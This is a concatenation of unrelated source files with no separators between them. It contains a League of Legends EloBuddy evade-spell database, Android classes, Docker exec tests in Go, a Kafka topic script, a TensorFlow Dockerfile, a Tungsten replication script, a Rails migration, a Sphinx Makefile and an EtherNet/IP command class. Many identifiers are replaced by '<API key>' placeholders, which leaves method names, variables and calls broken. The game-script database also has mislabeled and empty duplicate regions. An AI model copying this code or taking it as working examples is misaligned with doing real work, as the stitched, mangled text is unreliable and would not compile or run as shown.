using System.Collections.Generic; using System.Linq; using EloBuddy; using EloBuddy.SDK; namespace DilmaAndFiora.Evade { internal class EvadeSpellDatabase { public static List<EvadeSpellData> Spells = new List<EvadeSpellData>(); static EvadeSpellDatabase() { //Add available evading spells to the database. SORTED BY PRIORITY. EvadeSpellData spell; #region Champion SpellShields #region Sivir if (ObjectManager.Player.ChampionName == "Sivir") { spell = new ShieldData("Sivir E", SpellSlot.E, 100, 1, true); Spells.Add(spell); } #endregion #region Nocturne if (ObjectManager.Player.ChampionName == "Nocturne") { spell = new ShieldData("Nocturne E", SpellSlot.E, 100, 1, true); Spells.Add(spell); } #endregion #endregion //Walking. spell = new EvadeSpellData("Walking", 1); Spells.Add(spell); #region Champion MoveSpeed buffs #region Blitzcrank if (ObjectManager.Player.ChampionName == "Blitzcrank") { spell = new MoveBuffData( "Blitzcrank W", SpellSlot.W, 100, 3, () => ObjectManager.Player.MoveSpeed * (1 + 0.12f + 0.04f * ObjectManager.Player.Spellbook.GetSpell(SpellSlot.W).Level)); Spells.Add(spell); } #endregion #region Draven if (ObjectManager.Player.ChampionName == "Draven") { spell = new MoveBuffData( "Draven W", SpellSlot.W, 100, 3, () => ObjectManager.Player.MoveSpeed * (1 + 0.35f + 0.05f * ObjectManager.Player.Spellbook.GetSpell(SpellSlot.W).Level)); Spells.Add(spell); } #endregion #region Evelynn if (ObjectManager.Player.ChampionName == "Evelynn") { spell = new MoveBuffData( "Evelynn W", SpellSlot.W, 100, 3, () => ObjectManager.Player.MoveSpeed * (1 + 0.2f + 0.1f * ObjectManager.Player.Spellbook.GetSpell(SpellSlot.W).Level)); Spells.Add(spell); } #endregion #region Garen if (ObjectManager.Player.ChampionName == "Garen") { spell = new MoveBuffData("Garen Q", SpellSlot.Q, 100, 3, () => ObjectManager.Player.MoveSpeed * (1.35f)); Spells.Add(spell); } #endregion #region Katarina if (ObjectManager.Player.ChampionName == "Katarina") { spell = new MoveBuffData( "Katarina W", SpellSlot.W, 100, 3, () => ObjectManager.Get<AIHeroClient>().Any(h => h.IsValidTarget(375)) ? ObjectManager.Player.MoveSpeed * (1 + 0.10f + 0.05f * ObjectManager.Player.Spellbook.GetSpell(SpellSlot.W).Level) : 0); Spells.Add(spell); } #endregion #region Karma if (ObjectManager.Player.ChampionName == "Karma") { spell = new MoveBuffData( "Karma E", SpellSlot.E, 100, 3, () => ObjectManager.Player.MoveSpeed * (1 + 0.35f + 0.05f * ObjectManager.Player.Spellbook.GetSpell(SpellSlot.E).Level)); Spells.Add(spell); } #endregion #region Kennen if (ObjectManager.Player.ChampionName == "Kennen") { spell = new MoveBuffData("Kennen E", SpellSlot.E, 100, 3, () => 200 + ObjectManager.Player.MoveSpeed); //Actually it should be +335 but ingame you only gain +230, rito plz Spells.Add(spell); } #endregion #region Khazix if (ObjectManager.Player.ChampionName == "Khazix") { spell = new MoveBuffData("Khazix R", SpellSlot.R, 100, 5, () => ObjectManager.Player.MoveSpeed * 1.4f); Spells.Add(spell); } #endregion #region Lulu if (ObjectManager.Player.ChampionName == "Lulu") { spell = new MoveBuffData( "Lulu W", SpellSlot.W, 100, 5, () => ObjectManager.Player.MoveSpeed * (1.3f + ObjectManager.Player.FlatMagicDamageMod / 100 * 0.1f)); Spells.Add(spell); } #endregion #region Nunu if (ObjectManager.Player.ChampionName == "Nunu") { spell = new MoveBuffData( "Nunu W", SpellSlot.W, 100, 3, () => ObjectManager.Player.MoveSpeed * (1 + 0.1f + 0.01f * ObjectManager.Player.Spellbook.GetSpell(SpellSlot.W).Level)); Spells.Add(spell); } #endregion #region Ryze if (ObjectManager.Player.ChampionName == "Ryze") { spell = new MoveBuffData("Ryze R", SpellSlot.R, 100, 5, () => 80 + ObjectManager.Player.MoveSpeed); Spells.Add(spell); } #endregion #region Shyvana if (ObjectManager.Player.ChampionName == "Sivir") { spell = new MoveBuffData("Sivir R", SpellSlot.R, 100, 5, () => ObjectManager.Player.MoveSpeed * (1.6f)); Spells.Add(spell); } #endregion #region Shyvana if (ObjectManager.Player.ChampionName == "Shyvana") { spell = new MoveBuffData( "Shyvana W", SpellSlot.W, 100, 4, () => ObjectManager.Player.MoveSpeed * (1 + 0.25f + 0.05f * ObjectManager.Player.Spellbook.GetSpell(SpellSlot.W).Level)); spell.CheckSpellName = "<API key>"; Spells.Add(spell); } #endregion #region Sona if (ObjectManager.Player.ChampionName == "Sona") { spell = new MoveBuffData( "Sona E", SpellSlot.E, 100, 3, () => ObjectManager.Player.MoveSpeed * (1 + 0.12f + 0.01f * ObjectManager.Player.Spellbook.GetSpell(SpellSlot.E).Level + ObjectManager.Player.FlatMagicDamageMod / 100 * 0.075f + 0.02f * ObjectManager.Player.Spellbook.GetSpell(SpellSlot.R).Level)); Spells.Add(spell); } #endregion #region Teemo ^_^ if (ObjectManager.Player.ChampionName == "Teemo") { spell = new MoveBuffData( "Teemo W", SpellSlot.W, 100, 3, () => ObjectManager.Player.MoveSpeed * (1 + 0.06f + 0.04f * ObjectManager.Player.Spellbook.GetSpell(SpellSlot.W).Level)); Spells.Add(spell); } #endregion #region Udyr if (ObjectManager.Player.ChampionName == "Udyr") { spell = new MoveBuffData( "Udyr E", SpellSlot.E, 100, 3, () => ObjectManager.Player.MoveSpeed * (1 + 0.1f + 0.05f * ObjectManager.Player.Spellbook.GetSpell(SpellSlot.E).Level)); Spells.Add(spell); } #endregion #region Zilean if (ObjectManager.Player.ChampionName == "Zilean") { spell = new MoveBuffData("Zilean E", SpellSlot.E, 100, 3, () => ObjectManager.Player.MoveSpeed * 1.55f); Spells.Add(spell); } #endregion #endregion #region Champion Dashes #region Aatrox if (ObjectManager.Player.ChampionName == "Aatrox") { spell = new DashData("Aatrox Q", SpellSlot.Q, 650, false, 400, 3000, 3); spell.Invert = true; Spells.Add(spell); } #endregion #region Akali if (ObjectManager.Player.ChampionName == "Akali") { spell = new DashData("Akali R", SpellSlot.R, 800, false, 100, 2461, 3); spell.ValidTargets = new[] { SpellValidTargets.EnemyChampions, SpellValidTargets.EnemyMinions }; Spells.Add(spell); } #endregion #region Alistar if (ObjectManager.Player.ChampionName == "Alistar") { spell = new DashData("Alistar W", SpellSlot.W, 650, false, 100, 1900, 3); spell.ValidTargets = new[] { SpellValidTargets.EnemyChampions, SpellValidTargets.EnemyMinions }; Spells.Add(spell); } #endregion #region Caitlyn if (ObjectManager.Player.ChampionName == "Caitlyn") { spell = new DashData("Caitlyn E", SpellSlot.E, 490, true, 250, 1000, 3); spell.Invert = true; Spells.Add(spell); } #endregion #region Corki if (ObjectManager.Player.ChampionName == "Corki") { spell = new DashData("Corki W", SpellSlot.W, 790, false, 250, 1044, 3); Spells.Add(spell); } #endregion #region Fizz if (ObjectManager.Player.ChampionName == "Fizz") { spell = new DashData("Fizz Q", SpellSlot.Q, 550, true, 100, 1400, 4); spell.ValidTargets = new[] { SpellValidTargets.EnemyMinions, SpellValidTargets.EnemyChampions }; Spells.Add(spell); } #endregion #region Gragas if (ObjectManager.Player.ChampionName == "Gragas") { spell = new DashData("Gragas E", SpellSlot.E, 600, true, 250, 911, 3); Spells.Add(spell); } #endregion #region Gnar if (ObjectManager.Player.ChampionName == "Gnar") { spell = new DashData("Gnar E", SpellSlot.E, 50, false, 0, 900, 3); spell.CheckSpellName = "GnarE"; Spells.Add(spell); } #endregion #region Graves if (ObjectManager.Player.ChampionName == "Graves") { spell = new DashData("Graves E", SpellSlot.E, 425, true, 100, 1223, 3); Spells.Add(spell); } #endregion #region Irelia if (ObjectManager.Player.ChampionName == "Irelia") { spell = new DashData("Irelia Q", SpellSlot.Q, 650, false, 100, 2200, 3); spell.ValidTargets = new[] { SpellValidTargets.EnemyChampions, SpellValidTargets.EnemyMinions }; Spells.Add(spell); } #endregion #region Jax if (ObjectManager.Player.ChampionName == "Jax") { spell = new DashData("Jax Q", SpellSlot.Q, 700, false, 100, 1400, 3); spell.ValidTargets = new[] { SpellValidTargets.EnemyWards, SpellValidTargets.AllyWards, SpellValidTargets.AllyMinions, SpellValidTargets.AllyChampions, SpellValidTargets.EnemyChampions, SpellValidTargets.EnemyMinions }; Spells.Add(spell); } #endregion #region LeBlanc if (ObjectManager.Player.ChampionName == "LeBlanc") { spell = new DashData("LeBlanc W1", SpellSlot.W, 600, false, 100, 1621, 3); spell.CheckSpellName = "LeblancSlide"; Spells.Add(spell); } if (ObjectManager.Player.ChampionName == "LeBlanc") { spell = new DashData("LeBlanc RW", SpellSlot.R, 600, false, 100, 1621, 3); spell.CheckSpellName = "LeblancSlideM"; Spells.Add(spell); } #endregion #region LeeSin if (ObjectManager.Player.ChampionName == "LeeSin") { spell = new DashData("LeeSin W", SpellSlot.W, 700, false, 250, 2000, 3); spell.ValidTargets = new[] { SpellValidTargets.AllyChampions, SpellValidTargets.AllyMinions, SpellValidTargets.AllyWards }; spell.CheckSpellName = "BlindMonkWOne"; Spells.Add(spell); } #endregion #region Lucian if (ObjectManager.Player.ChampionName == "Lucian") { spell = new DashData("Lucian E", SpellSlot.E, 425, false, 100, 1350, 2); Spells.Add(spell); } #endregion #region Nidalee if (ObjectManager.Player.ChampionName == "Nidalee") { spell = new DashData("Nidalee W", SpellSlot.W, 375, true, 250, 943, 3); spell.CheckSpellName = "Pounce"; Spells.Add(spell); } #endregion #region Pantheon if (ObjectManager.Player.ChampionName == "Pantheon") { spell = new DashData("Pantheon W", SpellSlot.W, 600, false, 100, 1000, 3); spell.ValidTargets = new[] { SpellValidTargets.EnemyChampions, SpellValidTargets.EnemyMinions }; Spells.Add(spell); } #endregion #region Riven if (ObjectManager.Player.ChampionName == "Riven") { spell = new DashData("Riven Q", SpellSlot.Q, 222, true, 250, 560, 3); spell.RequiresPreMove = true; Spells.Add(spell); spell = new DashData("Riven E", SpellSlot.E, 250, false, 250, 1200, 3); Spells.Add(spell); } #endregion #region Tristana if (ObjectManager.Player.ChampionName == "Tristana") { spell = new DashData("Tristana W", SpellSlot.W, 900, true, 300, 800, 5); Spells.Add(spell); } #endregion #region Tryndamare if (ObjectManager.Player.ChampionName == "Tryndamere") { spell = new DashData("Tryndamere E", SpellSlot.E, 650, true, 250, 900, 3); Spells.Add(spell); } #endregion #region Vayne if (ObjectManager.Player.ChampionName == "Vayne") { spell = new DashData("Vayne Q", SpellSlot.Q, 300, true, 100, 910, 2); Spells.Add(spell); } #endregion #region Wukong if (ObjectManager.Player.ChampionName == "MonkeyKing") { spell = new DashData("Wukong E", SpellSlot.E, 650, false, 100, 1400, 3); spell.ValidTargets = new[] { SpellValidTargets.EnemyChampions, SpellValidTargets.EnemyMinions }; Spells.Add(spell); } #endregion #endregion #region Champion Blinks #region Ezreal if (ObjectManager.Player.ChampionName == "Ezreal") { spell = new BlinkData("Ezreal E", SpellSlot.E, 450, 350, 3); Spells.Add(spell); } #endregion #region Kassadin if (ObjectManager.Player.ChampionName == "Kassadin") { spell = new BlinkData("Kassadin R", SpellSlot.R, 700, 200, 5); Spells.Add(spell); } #endregion #region Katarina if (ObjectManager.Player.ChampionName == "Katarina") { spell = new BlinkData("Katarina E", SpellSlot.E, 700, 200, 3); spell.ValidTargets = new[] { SpellValidTargets.AllyChampions, SpellValidTargets.AllyMinions, SpellValidTargets.AllyWards, SpellValidTargets.EnemyChampions, SpellValidTargets.EnemyMinions, SpellValidTargets.EnemyWards }; Spells.Add(spell); } #endregion #region Shaco if (ObjectManager.Player.ChampionName == "Shaco") { spell = new BlinkData("Shaco Q", SpellSlot.Q, 400, 350, 3); Spells.Add(spell); } #endregion #region Talon if (ObjectManager.Player.ChampionName == "Talon") { spell = new BlinkData("Talon E", SpellSlot.E, 700, 100, 3); spell.ValidTargets = new[] { SpellValidTargets.EnemyChampions, SpellValidTargets.EnemyMinions }; Spells.Add(spell); } #endregion #endregion #region Champion Invulnerabilities #region Elise if (ObjectManager.Player.ChampionName == "Elise") { spell = new InvulnerabilityData("Elise E", SpellSlot.E, 250, 3); spell.CheckSpellName = "EliseSpiderEInitial"; spell.SelfCast = true; Spells.Add(spell); } #endregion #region Vladimir if (ObjectManager.Player.ChampionName == "Vladimir") { spell = new InvulnerabilityData("Vladimir W", SpellSlot.W, 250, 3); spell.SelfCast = true; Spells.Add(spell); } #endregion #region Fizz if (ObjectManager.Player.ChampionName == "Fizz") { spell = new InvulnerabilityData("Fizz E", SpellSlot.E, 250, 3); Spells.Add(spell); } #endregion #region MasterYi if (ObjectManager.Player.ChampionName == "MasterYi") { spell = new InvulnerabilityData("MasterYi Q", SpellSlot.Q, 250, 3); spell.MaxRange = 600; spell.ValidTargets = new[] { SpellValidTargets.EnemyChampions, SpellValidTargets.EnemyMinions }; Spells.Add(spell); } #endregion #endregion //Flash if (ObjectManager.Player.<API key>("SummonerFlash") != SpellSlot.Unknown) { spell = new BlinkData("Flash", ObjectManager.Player.<API key>("SummonerFlash"), 400, 100, 5, true); Spells.Add(spell); } //Zhonyas spell = new EvadeSpellData("Zhonyas", 5); Spells.Add(spell); #region Champion Shields #region Akali #endregion #region Annie #endregion #region Diana #endregion #region Galio #endregion #region Akali #endregion #region Akali #endregion #region Akali #endregion #region Akali #endregion #region Akali #endregion #region Akali #endregion #region Akali #endregion #region Akali #endregion #region Akali #endregion #region Karma if (ObjectManager.Player.ChampionName == "Karma") { spell = new ShieldData("Karma E", SpellSlot.E, 100, 2); spell.CanShieldAllies = true; spell.MaxRange = 800; Spells.Add(spell); } #endregion #region Janna if (ObjectManager.Player.ChampionName == "Janna") { spell = new ShieldData("Janna E", SpellSlot.E, 100, 1); spell.CanShieldAllies = true; spell.MaxRange = 800; Spells.Add(spell); } #endregion #region Morgana if (ObjectManager.Player.ChampionName == "Morgana") { spell = new ShieldData("Morgana E", SpellSlot.E, 100, 3); spell.CanShieldAllies = true; spell.MaxRange = 750; Spells.Add(spell); } #endregion #endregion } public static EvadeSpellData GetByName(string Name) { Name = Name.ToLower(); foreach (var evadeSpellData in Spells) { if (evadeSpellData.Name.ToLower() == Name) { return evadeSpellData; } } return null; } } }
package net.sarangnamu.common.ui; import android.app.Application; import android.test.ApplicationTestCase; public class ApplicationTest extends ApplicationTestCase<Application> { public ApplicationTest() { super(Application.class); } }
// +build !windows package main import ( "bytes" "io" "os/exec" "strings" "testing" "time" "github.com/creack/pty" "gotest.tools/v3/assert" ) // regression test for #12546 func (s *DockerSuite) <API key>(c *testing.T) { testRequires(c, DaemonIsLinux) out, _ := dockerCmd(c, "run", "-itd", "busybox", "/bin/cat") contID := strings.TrimSpace(out) cmd := exec.Command(dockerBinary, "exec", "-i", contID, "echo", "-n", "hello") p, err := pty.Start(cmd) assert.NilError(c, err) b := bytes.NewBuffer(nil) ch := make(chan error) go func() { ch <- cmd.Wait() }() select { case err := <-ch: assert.NilError(c, err) io.Copy(b, p) p.Close() bs := b.Bytes() bs = bytes.Trim(bs, "\x00") output := string(bs[:]) assert.Equal(c, strings.TrimSpace(output), "hello") case <-time.After(5 * time.Second): p.Close() c.Fatal("timed out running docker exec") } } func (s *DockerSuite) TestExecTTY(c *testing.T) { testRequires(c, DaemonIsLinux, testEnv.IsLocalDaemon) dockerCmd(c, "run", "-d", "--name=test", "busybox", "sh", "-c", "echo hello > /foo && top") cmd := exec.Command(dockerBinary, "exec", "-it", "test", "sh") p, err := pty.Start(cmd) assert.NilError(c, err) defer p.Close() _, err = p.Write([]byte("cat /foo && exit\n")) assert.NilError(c, err) chErr := make(chan error) go func() { chErr <- cmd.Wait() }() select { case err := <-chErr: assert.NilError(c, err) case <-time.After(3 * time.Second): c.Fatal("timeout waiting for exec to exit") } buf := make([]byte, 256) read, err := p.Read(buf) assert.NilError(c, err) assert.Assert(c, bytes.Contains(buf, []byte("hello")), string(buf[:read])) } // Test the TERM env var is set when -t is provided on exec func (s *DockerSuite) TestExecWithTERM(c *testing.T) { testRequires(c, DaemonIsLinux, testEnv.IsLocalDaemon) out, _ := dockerCmd(c, "run", "-id", "busybox", "/bin/cat") contID := strings.TrimSpace(out) cmd := exec.Command(dockerBinary, "exec", "-t", contID, "sh", "-c", "if [ -z $TERM ]; then exit 1; else exit 0; fi") if err := cmd.Run(); err != nil { assert.NilError(c, err) } } // Test that the TERM env var is not set on exec when -t is not provided, even if it was set // on run func (s *DockerSuite) TestExecWithNoTERM(c *testing.T) { testRequires(c, DaemonIsLinux, testEnv.IsLocalDaemon) out, _ := dockerCmd(c, "run", "-itd", "busybox", "/bin/cat") contID := strings.TrimSpace(out) cmd := exec.Command(dockerBinary, "exec", contID, "sh", "-c", "if [ -z $TERM ]; then exit 0; else exit 1; fi") if err := cmd.Run(); err != nil { assert.NilError(c, err) } }
#!/usr/bin/env bash ensure_topic_exists() { local <API key>="$("$KAFKA_BIN"/kafka-topics.sh --describe --topic "$TOPIC_NAME" --zookeeper "$ZK")" echo "<API key>:$<API key>" if [[ "$<API key>" == *"PartitionCount:"* ]] ; then echo "topic already exists" else echo "about to create topic: $TOPIC_NAME" "$KAFKA_BIN"/kafka-topics.sh --create --topic "$TOPIC_NAME" --partitions 1 --replication-factor=1 --zookeeper "$ZK" fi } declare -r TOPIC_NAME="test" declare -r KAFKA_BIN="$KAFKA_HOME/bin" declare -r ZK="kafka_host:2181" ensure_topic_exists
package com.yang.yunfan.ui.main; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v7.app.AppCompatActivity; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.RelativeLayout; import android.widget.TextView; import com.facebook.drawee.view.SimpleDraweeView; import com.google.gson.Gson; import com.suke.widget.SwitchButton; import com.umeng.socialize.UMAuthListener; import com.umeng.socialize.UMShareAPI; import com.umeng.socialize.bean.SHARE_MEDIA; import com.yang.yunfan.AppApplication; import com.yang.yunfan.R; import com.yang.yunfan.manager.DayNightManager; import com.yang.yunfan.manager.UserInfoManager; import com.yang.yunfan.model.UserInfo; import com.yang.yunfan.ui.base.BaseFragment; import com.yang.yunfan.ui.setting.SettingActivity; import com.yang.yunfan.utils.ToastUtil; import com.yang.yunfan.widget.ImageTextItemView; import java.util.Map; import butterknife.BindView; import butterknife.ButterKnife; import butterknife.OnClick; /** * A simple {@link Fragment} subclass. */ public class MeFragment extends BaseFragment { @BindView(R.id.tv_person_name) TextView tvPersonName; @BindView(R.id.rl_person_layout) RelativeLayout rlPersonLayout; @BindView(R.id.mgiv_my_message) ImageTextItemView mgivMyMessage; @BindView(R.id.mgiv_my_collection) ImageTextItemView mgivMyCollection; @BindView(R.id.sb_night_theme) SwitchButton sbNightTheme; @BindView(R.id.mgiv_system_setting) ImageTextItemView mgivSystemSetting; @BindView(R.id.sb_save_mobile_data) SwitchButton sbSaveMobileData; @BindView(R.id.sdv_user_icon) SimpleDraweeView sdvUserIcon; public MeFragment() { // Required empty public constructor } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment View view = inflater.inflate(R.layout.fragment_me, container, false); ButterKnife.bind(this, view); sbNightTheme.<API key>(new SwitchButton.<API key>() { @Override public void onCheckedChanged(SwitchButton view, boolean isChecked) { DayNightManager.switchDayNight((AppCompatActivity) getContext()); } }); sbSaveMobileData.<API key>(new SwitchButton.<API key>() { @Override public void onCheckedChanged(SwitchButton view, boolean isChecked) { AppApplication.getInstance().setSaveMobileData(isChecked); } }); mgivSystemSetting.container.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(getContext(), SettingActivity.class)); } }); return view; } @OnClick({R.id.rl_person_layout, R.id.mgiv_my_message, R.id.mgiv_my_collection}) public void onClick(View view) { switch (view.getId()) { case R.id.rl_person_layout: qqLogin(); break; case R.id.mgiv_my_message: ToastUtil.showShort(""); break; case R.id.mgiv_my_collection: ToastUtil.showShort(""); break; } } private void qqLogin() { UMShareAPI.get(getContext()).doOauthVerify((AppCompatActivity) getContext(), SHARE_MEDIA.QQ, new UMAuthListener() { @Override public void onComplete(SHARE_MEDIA share_media, int i, Map<String, String> map) { Log.i(TAG, "onComplete: "); Log.i(TAG, "onComplete: " + map.toString()); getQQInfo(); } @Override public void onError(SHARE_MEDIA share_media, int i, Throwable throwable) { Log.i(TAG, "onError: "); ToastUtil.showShort(throwable.getMessage()); } @Override public void onCancel(SHARE_MEDIA share_media, int i) { Log.i(TAG, "onCancel: "); } }); } private void getQQInfo() { UMShareAPI.get(getContext()).getPlatformInfo((AppCompatActivity) getContext(), SHARE_MEDIA.QQ, new UMAuthListener() { @Override public void onComplete(SHARE_MEDIA share_media, int i, Map<String, String> map) { Log.i(TAG, "onComplete: " + map.toString()); String iconurl = map.get("iconurl"); String name = map.get("name"); String openid = map.get("openid"); sdvUserIcon.setImageURI(iconurl); tvPersonName.setText(name); rlPersonLayout.setClickable(false); UserInfo userInfo = new UserInfo(); userInfo.setName(name); userInfo.setIconurl(iconurl); userInfo.setAccountType(1); userInfo.setId(openid); AppApplication.getInstance().setUserInfo(userInfo); UserInfoManager.saveUserInfo(userInfo); } @Override public void onError(SHARE_MEDIA share_media, int i, Throwable throwable) { ToastUtil.showShort(throwable.getMessage()); } @Override public void onCancel(SHARE_MEDIA share_media, int i) { } }); } @Override public void onResume() { super.onResume(); int uiModeFromSp = DayNightManager.getUiModeFromSp(getContext()); sbNightTheme.setChecked(uiModeFromSp == DayNightManager.NIGHT ? true : false); sbSaveMobileData.setChecked(AppApplication.getInstance().isSaveMobileData()); UserInfo userInfo = AppApplication.getInstance().getUserInfo(); if (userInfo != null){ sdvUserIcon.setImageURI(userInfo.getIconurl()); tvPersonName.setText(userInfo.getName()); rlPersonLayout.setClickable(false); }else { sdvUserIcon.setImageURI("res://com.yang.yunfan/" + R.drawable.umeng_socialize_qq); tvPersonName.setText(R.string.un_login); rlPersonLayout.setClickable(true); } } }
# Prepare the image with: # docker build -t tensorflow/haskell:v0 docker FROM tensorflow/tensorflow:2.3.0 LABEL maintainer="TensorFlow authors <tensorflow-haskell@googlegroups.com>" RUN apt-get update RUN apt-get install -y \ # Required by snappy-frames dependency. libsnappy-dev \ # Avoids /usr/bin/ld: cannot find -ltinfo libncurses5-dev \ # Makes stack viable in the container libgmp-dev \ zlib1g-dev \ # For fetching dependencies curl \ unzip \ # Required for locales configuration. locales \ netbase # Our MNIST demo program outputs Unicode characters. RUN dpkg-reconfigure locales && \ locale-gen en_US.UTF-8 && \ update-locale LANG=en_US.UTF-8 # Installs protoc and the libraries. RUN \ curl -O -L https://github.com/google/protobuf/releases/download/v3.13.0/protoc-3.13.0-linux-x86_64.zip && \ unzip -d /usr/local protoc-3.13.0-linux-x86_64.zip bin/protoc && \ chmod 755 /usr/local/bin/protoc && \ curl -O https://storage.googleapis.com/tensorflow/libtensorflow/<API key>.3.0.tar.gz && \ tar zxf <API key>.3.0.tar.gz -C /usr/local && \ ldconfig ENV LANG en_US.UTF-8
#!/usr/bin/env python import optparse from os import system class ReplicationData: tableList = [{'database':'xgds_basalt', 'tables':[ '<API key>', '<API key>', 'xgds_core_constant', 'django_migrations', 'django_session', 'django_admin_log', '<API key>', '<API key>', 'xgds_core_relayfile', '<API key>' ]}, {'database':'performance_schema', 'tables':['*'] }, {'database':'information_schema', 'tables':['*'] } ] remoteHostname = "boat" localHostname = "shore" <API key> = "/home/irg/tungsten/tungsten/tools/tpm update --<API key>=MySQLMyISAMCheck --<API key>=<API key> --hosts=%s,%s --<API key>=replicate --property=replicator.filter.replicate.ignore=" <API key> = "/home/irg/tungsten/tungsten/tools/tpm update --<API key>=MySQLMyISAMCheck --<API key>=<API key> --hosts=%s,%s --<API key>=delay,replicate --property=replicator.filter.delay.delay=%s --property=replicator.filter.replicate.ignore=" def getTableListString(self): tableFullNameList = [] for ti in self.tableList: dbName = ti['database'] for tname in ti['tables']: tableFullNameList.append("%s.%s" % (dbName, tname)) tableListString = ",".join(tableFullNameList) return tableListString def <API key>(self, delayTimeSecs=0, remoteHost=None): if remoteHost: if delayTimeSecs == 0: replicationCommand = self.<API key> % (self.localHostname, self.remoteHostname) cmdString = "ssh %s %s%s" % (self.remoteHostname, replicationCommand, self.getTableListString()) else: replicationCommand = self.<API key> % (self.localHostname, self.remoteHostname, delayTimeSecs) cmdString = "ssh %s %s%s" % (self.remoteHostname, replicationCommand, self.getTableListString()) else: if delayTimeSecs == 0: replicationCommand = self.<API key> % (self.localHostname, self.remoteHostname) cmdString = "%s%s" % (replicationCommand, self.getTableListString()) else: replicationCommand = self.<API key> % (self.localHostname, self.remoteHostname, delayTimeSecs) cmdString = "%s%s" % (replicationCommand, self.getTableListString()) return cmdString def <API key>(delayTime): print "Setting replication delay to %d seconds." % delayTime rd = ReplicationData() localCmd = rd.<API key>(delayTime) remoteCmd = rd.<API key>(delayTime, rd.remoteHostname) print "Running local filter command:" print localCmd print "" system(localCmd) print "Remote remote filter command:" print remoteCmd system(remoteCmd) def main(): import optparse parser = optparse.OptionParser('usage: %prog -d <seconds>') parser.add_option('-d', '--delay', default="0", help='replication time delay in mm:ss or seconds') opts, _args = parser.parse_args() try: if ":" in opts.delay: min,sec = opts.delay.split(":") delayTime = 60*int(min) + int(sec) else: delayTime = int(opts.delay) except: print "Replication delay must be a valid pair of integer numbers (mins:seconds) or just seconds" exit(1) <API key>(delayTime) if __name__ == '__main__': main()
package treeton.scape; import gate.AnnotationSet; import gate.Document; import treeton.core.TreenotationStorage; import java.util.ArrayList; import java.util.List; public class <API key> implements <API key> { List<<API key>> actions; public void applyTo(AnnotationSet set, Document doc) { if (actions == null) return; for (<API key> result : actions) { result.applyTo(set, doc); } } public void applyTo(TreenotationStorage storage) { if (actions == null) return; for (<API key> result : actions) { result.applyTo(storage); } } public void add(<API key> actionResult) { if (actions == null) actions = new ArrayList<<API key>>(); actions.add(actionResult); } }
class <API key> < ActiveRecord::Migration def self.up add_column :cloud_resources, :owner_id, :string add_column :cloud_resources, :description, :string add_index :cloud_resources, :owner_id add_index :cloud_resources, :description end def self.down remove_column :cloud_resources, :description remove_column :cloud_resources, :owner_id end end
# Makefile for Sphinx documentation # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build PAPER = BUILDDIR = build # Internal variables. PAPEROPT_a4 = -D latex_paper_size=a4 PAPEROPT_letter = -D latex_paper_size=letter ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source # the i18n builder cannot share the environment and doctrees with the others I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source .PHONY: help help: @echo "Please use \`make <target>' where <target> is one of" @echo " html to make standalone HTML files" @echo " dirhtml to make HTML files named index.html in directories" @echo " singlehtml to make a single large HTML file" @echo " pickle to make pickle files" @echo " json to make JSON files" @echo " htmlhelp to make HTML files and a HTML help project" @echo " qthelp to make HTML files and a qthelp project" @echo " applehelp to make an Apple Help Book" @echo " devhelp to make HTML files and a Devhelp project" @echo " epub to make an epub" @echo " epub3 to make an epub3" @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" @echo " latexpdf to make LaTeX files and run them through pdflatex" @echo " latexpdfja to make LaTeX files and run them through platex/dvipdfmx" @echo " text to make text files" @echo " man to make manual pages" @echo " texinfo to make Texinfo files" @echo " info to make Texinfo files and run them through makeinfo" @echo " gettext to make PO message catalogs" @echo " changes to make an overview of all changed/added/deprecated items" @echo " xml to make Docutils-native XML files" @echo " pseudoxml to make pseudoxml-XML files for display purposes" @echo " linkcheck to check all external links for integrity" @echo " doctest to run all doctests embedded in the documentation (if enabled)" @echo " coverage to run coverage check of the documentation (if enabled)" @echo " dummy to check syntax errors of document sources" .PHONY: clean clean:
package com.digitalpetri.enip.commands; import java.util.Arrays; import io.netty.buffer.ByteBuf; /** * The optional List Interfaces command shall be used by a connection originator to identify non-CIP communication * interfaces associated with the target. A session need not be established to send this command. */ public final class ListInterfaces extends Command { private final <API key>[] interfaces; public ListInterfaces(<API key>... interfaces) { super(CommandCode.ListInterfaces); this.interfaces = interfaces; } public <API key>[] getInterfaces() { return interfaces; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; ListInterfaces that = (ListInterfaces) o; return Arrays.equals(interfaces, that.interfaces); } @Override public int hashCode() { return Arrays.hashCode(interfaces); } public static ByteBuf encode(ListInterfaces command, ByteBuf buffer) { if (command.getInterfaces().length != 0) { buffer.writeShort(command.getInterfaces().length); for (<API key> <API key> : command.getInterfaces()) { <API key>.encode(<API key>, buffer); } } return buffer; } public static ListInterfaces decode(ByteBuf buffer) { int itemCount = buffer.readableBytes() >= 2 ? buffer.readUnsignedShort() : 0; <API key>[] interfaces = new <API key>[itemCount]; for (int i = 0; i < itemCount; i++) { interfaces[i] = <API key>.decode(buffer); } return new ListInterfaces(interfaces); } public static class <API key> { private final int itemId; private final byte[] data; public <API key>(int itemId, byte[] data) { this.itemId = itemId; this.data = data; } public int getItemId() { return itemId; } public byte[] getData() { return data; } public static ByteBuf encode(<API key> <API key>, ByteBuf buffer) { buffer.writeShort(<API key>.getItemId()); buffer.writeShort(<API key>.getData().length); buffer.writeBytes(<API key>.getData()); return buffer; } public static <API key> decode(ByteBuf buffer) { int itemId = buffer.readUnsignedShort(); int dataLength = buffer.readUnsignedShort(); byte[] data = new byte[dataLength]; buffer.readBytes(data); return new <API key>(itemId, data); } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; <API key> that = (<API key>) o; return itemId == that.itemId && Arrays.equals(data, that.data); } @Override public int hashCode() { int result = itemId; result = 31 * result + Arrays.hashCode(data); return result; } } }
